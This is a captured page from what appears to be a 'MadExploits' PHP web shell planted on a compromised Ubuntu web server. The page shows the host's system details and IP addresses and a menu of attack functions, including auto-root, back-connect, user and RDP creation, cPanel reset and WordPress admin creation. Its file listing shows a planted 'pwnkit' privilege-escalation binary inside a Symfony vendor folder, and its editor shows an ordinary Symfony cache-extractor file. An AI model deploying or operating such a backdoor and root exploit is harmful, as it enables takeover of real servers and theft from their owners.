Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.140.188.57
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz /
vendor /
symfony /
property-info /
[ HOME SHELL ]
Name
Size
Permission
Action
DependencyInjection
[ DIR ]
drwxrwxr-x
Extractor
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
CHANGELOG.md
504
B
-rw-rw-r--
LICENSE
1.04
KB
-rw-rw-r--
PropertyAccessExtractorInterfa...
775
B
-rw-rw-r--
PropertyDescriptionExtractorIn...
835
B
-rw-rw-r--
PropertyInfoCacheExtractor.php
3.46
KB
-rw-rw-r--
PropertyInfoExtractor.php
3.7
KB
-rw-rw-r--
PropertyInfoExtractorInterface...
638
B
-rw-rw-r--
PropertyInitializableExtractor...
690
B
-rw-rw-r--
PropertyListExtractorInterface...
638
B
-rw-rw-r--
PropertyReadInfo.php
1.68
KB
-rw-rw-r--
PropertyReadInfoExtractorInter...
632
B
-rw-rw-r--
PropertyTypeExtractorInterface...
579
B
-rw-rw-r--
PropertyWriteInfo.php
3.09
KB
-rw-rw-r--
PropertyWriteInfoExtractorInte...
637
B
-rw-rw-r--
README.md
546
B
-rw-rw-r--
Type.php
3.16
KB
-rw-rw-r--
composer.json
1.6
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : PropertyInfoCacheExtractor.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\PropertyInfo; use Psr\Cache\CacheItemPoolInterface; /** * Adds a PSR-6 cache layer on top of an extractor. * * @author Kévin Dunglas <dunglas@gmail.com> * * @final */ class PropertyInfoCacheExtractor implements PropertyInfoExtractorInterface, PropertyInitializableExtractorInterface { private $propertyInfoExtractor; private $cacheItemPool; private $arrayCache = []; public function __construct(PropertyInfoExtractorInterface $propertyInfoExtractor, CacheItemPoolInterface $cacheItemPool) { $this->propertyInfoExtractor = $propertyInfoExtractor; $this->cacheItemPool = $cacheItemPool; } /** * {@inheritdoc} */ public function isReadable(string $class, string $property, array $context = []): ?bool { return $this->extract('isReadable', [$class, $property, $context]); } /** * {@inheritdoc} */ public function isWritable(string $class, string $property, array $context = []): ?bool { return $this->extract('isWritable', [$class, $property, $context]); } /** * {@inheritdoc} */ public function getShortDescription(string $class, string $property, array $context = []): ?string { return $this->extract('getShortDescription', [$class, $property, $context]); } /** * {@inheritdoc} */ public function getLongDescription(string $class, string $property, array $context = []): ?string { return $this->extract('getLongDescription', [$class, $property, $context]); } /** * {@inheritdoc} */ public function getProperties(string $class, array $context = []): ?array { return $this->extract('getProperties', [$class, $context]); } /** * {@inheritdoc} */ public function getTypes(string $class, string $property, array $context = []): ?array { return $this->extract('getTypes', [$class, $property, $context]); } /** * {@inheritdoc} */ public function isInitializable(string $class, string $property, array $context = []): ?bool { return $this->extract('isInitializable', [$class, $property, $context]); } /** * Retrieves the cached data if applicable or delegates to the decorated extractor. * * @return mixed */ private function extract(string $method, array $arguments) { try { $serializedArguments = serialize($arguments); } catch (\Exception $exception) { // If arguments are not serializable, skip the cache return $this->propertyInfoExtractor->{$method}(...$arguments); } // Calling rawurlencode escapes special characters not allowed in PSR-6's keys $key = rawurlencode($method.'.'.$serializedArguments); if (\array_key_exists($key, $this->arrayCache)) { return $this->arrayCache[$key]; } $item = $this->cacheItemPool->getItem($key); if ($item->isHit()) { return $this->arrayCache[$key] = $item->get(); } $value = $this->propertyInfoExtractor->{$method}(...$arguments); $item->set($value); $this->cacheItemPool->save($item); return $this->arrayCache[$key] = $value; } }
Close